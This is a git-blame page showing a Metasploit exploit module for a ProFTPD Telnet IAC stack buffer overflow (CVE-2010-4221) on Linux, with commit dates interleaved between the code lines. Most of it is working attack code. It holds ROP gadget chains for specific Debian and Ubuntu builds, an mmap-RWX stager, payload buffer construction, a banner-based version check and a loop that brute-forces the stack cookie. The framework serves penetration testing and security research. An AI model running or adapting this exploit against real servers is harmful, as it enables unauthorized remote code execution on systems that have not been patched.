Files
metasploit-gs/modules/exploits/linux/ftp/proftp_telnet_iac.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

444 lines
15 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
#include Msf::Exploit::Remote::Ftp
include Msf::Exploit::Remote::Tcp
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',
'Description' => %q{
This module exploits a stack-based buffer overflow in versions of ProFTPD
server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a
large number of Telnet IAC commands, an attacker can corrupt memory and
execute arbitrary code.
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
The Debian Squeeze version of the exploit uses a little ROP stub to indirectly
2010-11-11 18:20:52 +00:00
transfer the flow of execution to a pool buffer (the cmd_rec "res" in
2010-11-08 17:16:32 +00:00
"pr_cmd_read").
2013-08-30 16:28:54 -05:00
2011-08-20 05:41:59 +00:00
The Ubuntu version uses a ROP stager to mmap RWX memory, copy a small stub
2010-11-08 17:16:32 +00:00
to it, and execute the stub. The stub then copies the remainder of the payload
in and executes it.
2013-08-30 16:28:54 -05:00
NOTE: Most Linux distributions either do not ship a vulnerable version of
2010-11-08 17:16:32 +00:00
ProFTPD, or they ship a version compiled with stack smashing protection.
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
Although SSP significantly reduces the probability of a single attempt
succeeding, it will not prevent exploitation. Since the daemon forks in a
default configuration, the cookie value will remain the same despite
2017-08-28 20:17:58 -04:00
some attempts failing. By making repeated requests, an attacker can eventually
2010-11-08 17:16:32 +00:00
guess the cookie value and exploit the vulnerability.
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness
and could allow exploitation in semi-reasonable amount of time.
},
'Author' => [ 'jduck' ],
'References' =>
[
2010-12-02 21:10:03 +00:00
['CVE', '2010-4221'],
['OSVDB', '68985'],
['BID', '44562']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' =>
{
'Space' => 4096,
# NOTE: \xff are avoided here so we can control the number of them being sent.
2010-11-08 17:16:32 +00:00
'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",
'DisableNops' => 'True',
},
2011-01-09 23:33:24 +00:00
'Platform' => [ 'linux' ],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
2013-08-30 16:28:54 -05:00
#
# This special one comes first since we dont want its index changing.
#
[ 'Debug',
{
'IACCount' => 8192, # should cause crash writing off end of stack
'Offset' => 0,
'Ret' => 0x41414242,
'Writable' => 0x43434545
}
],
2013-08-30 16:28:54 -05:00
#
# specific targets
#
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
# NOTE: this minimal rop works most of the time, but it can fail
# if the proftpd pool memory is in a different order for whatever reason...
[ 'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',
{
'IACCount' => 4096+16,
'Offset' => 0x102c-4,
# NOTE: All addresses are from the proftpd binary
2010-11-08 17:16:32 +00:00
'Ret' => 0x805a547, # pop esi / pop ebp / ret
'Writable' => 0x80e81a0, # .data
'RopStack' =>
[
# Writable is here
0xcccccccc, # unused
2010-11-08 17:16:32 +00:00
0x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret
0xcccccccc, # becomes ebx
0xcccccccc, # becomes esi
0xcccccccc, # becomes ebp
# quadruple deref the res pointer :)
0x8068886, # mov eax,[eax] / ret
0x8068886, # mov eax,[eax] / ret
0x8068886, # mov eax,[eax] / ret
0x8068886, # mov eax,[eax] / ret
# skip the pool chunk header
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
0x805bd8e, # inc eax / adc cl, cl / ret
# execute the data :)
0x0805c26c, # jmp eax
],
}
],
2013-08-30 16:28:54 -05:00
# For the version compiled with symbols :)
[ 'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',
{
'IACCount' => 4096+16,
'Offset' => 0x1028-4,
# NOTE: All addresses are from the proftpd binary
'Writable' => 0x80ec570, # .data
'Ret' => 0x80d78c2, # pop esi / pop ebp / ret
'RopStack' =>
[
# Writable is here
#0x0808162a, # jmp esp (works w/esp fixup)
2010-11-08 17:16:32 +00:00
0xcccccccc, # unused becomes ebp
0x80d78c2, # mov eax,esi / pop esi / pop ebp / ret
2010-11-08 17:16:32 +00:00
0xcccccccc, # unused becomes esi
0xcccccccc, # unused becomes ebp
# quadruple deref the res pointer :)
0x806a915, # mov eax,[eax] / pop ebp / ret
2010-11-08 17:16:32 +00:00
0xcccccccc, # unused becomes ebp
0x806a915, # mov eax,[eax] / pop ebp / ret
2010-11-08 17:16:32 +00:00
0xcccccccc, # unused becomes ebp
0x806a915, # mov eax,[eax] / pop ebp / ret
2010-11-08 17:16:32 +00:00
0xcccccccc, # unused becomes ebp
0x806a915, # mov eax,[eax] / pop ebp / ret
2010-11-08 17:16:32 +00:00
0xcccccccc, # unused becomes ebp
# skip the pool chunk header
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
0x805d6a9, # inc eax / adc cl, cl / ret
# execute the data :)
0x08058de6, # jmp eax
],
}
],
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
[ 'ProFTPD 1.3.2c Server (Ubuntu 10.04)',
{
'IACCount' => 1018,
'Offset' => 0x420,
'CookieOffset' => -0x20,
'Writable' => 0x80db3a0, # becomes esi (beginning of .data)
'Ret' => 0x805389b, # pop esi / pop ebp / ret
'RopStack' =>
[
0xcccccccc, # becomes ebp
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
0x8080f04, # pop eax / ret
0x80db330, # becomes eax (GOT of mmap64)
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
0x806a716, # mov eax, [eax] / ret
0x805dd5c, # jmp eax
0x80607b2, # add esp, 0x24 / pop ebx / pop ebp / ret
# mmap args
0, 0x20000, 0x7, 0x22, 0xffffffff, 0,
0, # unused
0xcccccccc, # unused
0xcccccccc, # unused
0x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx
0xcccccccc, # becomes ebp
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
# note, ebx gets fixed above :)
# 0xfe in 'ah' doesn't matter since we have more than enough space.
# now, load an instruction to store to eax
0x808b542, # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret
# becomes edx - mov [eax+ebp*4]; ebx / ret
"\x89\x1c\xa8\xc3".unpack('V').first,
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
# store it :)
0x805c2d0, # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret
0xcccccccc, # unused
0xcccccccc, # unused
0xcccccccc, # unused
0xcccccccc, # unused
0xcccccccc, # becomes ebx
0xcccccccc, # becomes esi
0xcccccccc, # becomes ebp
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
# Copy the following stub:
#"\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]
2010-11-14 03:41:12 +00:00
#"\x8d\x78\x12" # lea edi, [eax+0x12]
2010-11-08 17:16:32 +00:00
#"\x6a\x7f" # push 0x7f
#"\x59" # pop ecx
#"\xf2\xa5" # rep movsd
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
0x80607b5, # pop ebx / pop ebp / ret
0xfb2124b4, # becomes ebx
1, # becomes ebp
0x805dd5c, # jmp eax
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
0x80607b5, # pop ebx / pop ebp / ret
2010-11-14 03:41:12 +00:00
0x788dffff, # becomes ebx
2010-11-08 17:16:32 +00:00
2, # becomes ebp
0x805dd5c, # jmp eax
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
0x80607b5, # pop ebx / pop ebp / ret
2010-11-14 03:41:12 +00:00
0x597f6a12, # becomes ebx
2010-11-08 17:16:32 +00:00
3, # becomes ebp
0x805dd5c, # jmp eax
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
0x80607b5, # pop ebx / pop ebp / ret
2010-11-14 03:41:12 +00:00
0x9090a5f2, # becomes ebx
2010-11-08 17:16:32 +00:00
4, # becomes ebp
0x805dd5c, # jmp eax
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
0x80607b5, # pop ebx / pop ebp / ret
0x8d909090, # becomes ebx
0, # becomes ebp
0x805dd5c, # jmp eax
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
# hopefully we dont get here
0xcccccccc,
],
}
]
2013-08-30 16:28:54 -05:00
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2010-11-01'))
2013-08-30 16:28:54 -05:00
register_options(
[
Opt::RPORT(21),
])
end
2013-08-30 16:28:54 -05:00
def check
# NOTE: We don't care if the login failed here...
ret = connect
2012-06-04 17:26:15 -05:00
banner = sock.get_once || ''
2013-08-30 16:28:54 -05:00
# We just want the banner to check against our targets..
2014-01-22 11:20:10 -06:00
vprint_status("FTP Banner: #{banner.strip}")
2013-08-30 16:28:54 -05:00
status = CheckCode::Safe
if banner =~ /ProFTPD (1\.3\.[23])/i
banner_array = banner.split('.')
if banner_array.count() > 0 && !banner_array[3].nil?
# gets 1 char on the third part of version number.
relnum = banner_array[2][0..0]
tmp = banner_array[2].split(' ')
# gets extra string info of version number.
# example: 1.2.3rc ('rc' string)
extra = tmp[0][1..(tmp[0].length - 1)]
if relnum == '2'
if extra.length > 0
if extra[0..1] == 'rc'
v = extra[2..extra.length].to_i
if v && v > 2
status = CheckCode::Appears
end
else
status = CheckCode::Appears
end
end
elsif relnum == '3'
if [ '', 'a', 'b', ].include?(extra)
status = CheckCode::Appears
end
end
end
end
2013-08-30 16:28:54 -05:00
disconnect
return status
end
2013-08-30 16:28:54 -05:00
def exploit
connect
2012-06-04 17:26:15 -05:00
banner = sock.get_once || ''
2013-08-30 16:28:54 -05:00
# Use a copy of the target
mytarget = target
2013-08-30 16:28:54 -05:00
if (target['auto'])
mytarget = nil
2013-08-30 16:28:54 -05:00
print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoTarget, "No matching target")
end
2013-08-30 16:28:54 -05:00
regexp = Regexp.escape(version)
self.targets.each do |t|
if (t.name =~ /#{regexp}/) then
mytarget = t
break
end
end
2013-08-30 16:28:54 -05:00
if (not mytarget)
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoTarget, "No matching target")
end
2013-08-30 16:28:54 -05:00
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
end
2013-08-30 16:28:54 -05:00
#puts "attach and press any key"; bleh = $stdin.gets
2013-08-30 16:28:54 -05:00
buf = ''
buf << 'SITE '
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
#buf << "\xcc"
if mytarget['CookieOffset']
buf << "\x8d\xa0\xfc\xdf\xff\xff" # lea esp, [eax-0x2004]
end
buf << payload.encoded
2013-08-30 16:28:54 -05:00
# The number of characters left must be odd at this point.
buf << rand_text(1) if (buf.length % 2) == 0
buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)
2013-08-30 16:28:54 -05:00
buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
addrs = [
mytarget['Ret'],
mytarget['Writable']
].pack('V*')
2013-08-30 16:28:54 -05:00
if mytarget['RopStack']
2010-11-08 17:16:32 +00:00
addrs << mytarget['RopStack'].map { |e|
if e == 0xcccccccc
rand_text(4).unpack('V').first
else
e
end
}.pack('V*')
end
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
# Make sure we didn't introduce instability
addr_badchars = "\x09\x0a\x0b\x0c\x20"
if idx = Rex::Text.badchar_index(addrs, addr_badchars)
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, ("One or more address contains a bad character! (0x%02x @ 0x%x)" % [addrs[idx,1].unpack('C').first, idx]))
2010-11-08 17:16:32 +00:00
end
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
buf << addrs
buf << "\r\n"
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
#
# In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it
# doesn't change while proftpd forks children. Therefore, we can try forever
# and eventually guess it correctly.
#
# NOTE: if the cookie contains one of our bad characters, we're SOL.
#
if mytarget['CookieOffset']
print_status("!!! Attempting to bruteforce the cookie value! This can takes days. !!!")
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
disconnect
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
max = 0xffffff00
off = mytarget['Offset'] + mytarget['CookieOffset']
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
cookie = last_cookie = 0
#cookie = 0x17ccd600
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
start = Time.now
last = start - 10
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
while not session_created?
now = Time.now
if (now - last) >= 10
perc = (cookie * 100) / max
qps = ((cookie - last_cookie) >> 8) / 10.0
print_status("%.2f%% complete, %.2f attempts/sec - Trying: 0x%x" % [perc, qps, cookie])
last = now
last_cookie = cookie
end
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
sd = connect(false)
sd.get_once
buf[off, 4] = [cookie].pack('V')
sd.put(buf)
disconnect(sd)
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
cookie += 0x100
break if cookie > max
end
2013-08-30 16:28:54 -05:00
2010-11-08 17:16:32 +00:00
if not session_created?
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "Unable to guess the cookie value, sorry :-/")
2010-11-08 17:16:32 +00:00
end
else
sock.put(buf)
disconnect
end
2013-08-30 16:28:54 -05:00
handler
end
end